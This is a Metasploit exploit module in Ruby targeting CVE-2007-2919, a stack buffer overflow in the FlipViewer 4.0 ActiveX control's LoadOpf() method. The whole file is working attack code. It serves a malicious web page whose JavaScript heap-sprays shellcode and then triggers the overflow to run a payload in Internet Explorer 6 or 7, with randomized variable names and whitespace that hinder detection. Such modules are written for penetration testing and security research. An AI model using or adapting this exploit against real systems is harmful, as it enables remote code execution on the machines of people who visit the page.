metasploit-framework/modules/exploits/windows/browser/ebook_flipviewer_fviewerloa...

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3.2 KiB
Ruby
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'FlipViewer FViewerLoading ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in E-BOOK Systems FlipViewer 4.0.
The vulnerability is caused due to a boundary error in the
FViewerLoading (FlipViewerX.dll) ActiveX control when handling the
"LoadOpf()" method.
},
'License' => BSD_LICENSE,
'Author' => [ 'LSO <lso[at]hushmail.com>' ],
'References' =>
[
[ 'CVE', '2007-2919' ],
[ 'OSVDB', '37042' ],
[ 'BID', '24328' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# Tested ok patrickw 20090303
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ],
],
'DisclosureDate' => 'Jun 6 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops = Rex::Text.to_unescape(make_nops(4))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|<html>
<object classid='clsid:BA83FD38-CE14-4DA3-BEF5-96050D55F78A' id='#{vname}'></object>
<script language='javascript'>
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.LoadOpf(#{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{rand8});
</script>
</html>
|
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content = Rex::Text.randomize_space(content)
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print_status("Sending exploit...")
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send_response_html(cli, content)
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handler(cli)
end
end